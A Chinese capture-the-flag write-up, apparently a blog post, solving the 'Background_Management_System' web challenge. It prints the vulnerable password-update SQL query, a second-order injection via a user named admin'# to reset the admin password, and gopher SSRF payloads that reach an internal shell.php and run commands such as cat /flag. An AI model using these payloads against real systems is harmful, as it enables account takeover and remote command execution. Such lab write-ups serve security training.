攻防世界 WEB Background_Management_System

上一题smarty靶场好像有点问题,shell传上去连不上去,包括这一题好像也比原题少了些东西
先看看吧,这一题,老问题,注册,登录,发现没漏洞,扫目录,发现www.zip
源码审计,在application/index/controller/里面的UserInfo里面发现问题

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

前面注册登录页面都对转义字符做了过滤,这里没做
所以注册一个admin’#的用户,密码123,登录
在用户中心里发现修改密码
修改123 123 123
出现了越权,admin的密码被我们修改成了123
admin 123 登录
然后查看admin的用户中心,有hint,访问55ceedfbc97b0a81277a55506c34af36.php,发现要给一个url参数,但是?url=ls,提示不是内网人员
那么就是ssrf,需要用内网协议去访问
下面就做不下去了,后面看了wp,发现原题里其实是有过滤规则了,但是攻防世界靶场没给
大概就是过滤了一堆协议,只有gopher协议能用;看这篇www.cnblogs.com/Konmu/p/12984891.html
之前审计源码的时候发现了shell.php是具体执行命令的页面,利用gopher协议
gopher://127.0.0.1:80/_GET%20/ 表示用gopher协议向80端口发了一个GET请求,后面%20是空格编码,这是固定格式,之前那篇文章里有
gopher://127.0.0.1:80/_GET%20/xinan/public/shell.php 成功访问shell页面
下面就是提供cmd参数?是特殊字符需要二次编码%253F,可能是协议的特性问题,别的%20 %2B都是一次编码
gopher://127.0.0.1:80/_GET%20/xinan/public/shell.php%253Fcmd=ls 命令执行成功
gopher://127.0.0.1:80/_GET%20/xinan/public/shell.php%253Fcmd=cat%2B/flag拿到flag
参考视频链接:https://www.bilibili.com/video/BV1rL411375n/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值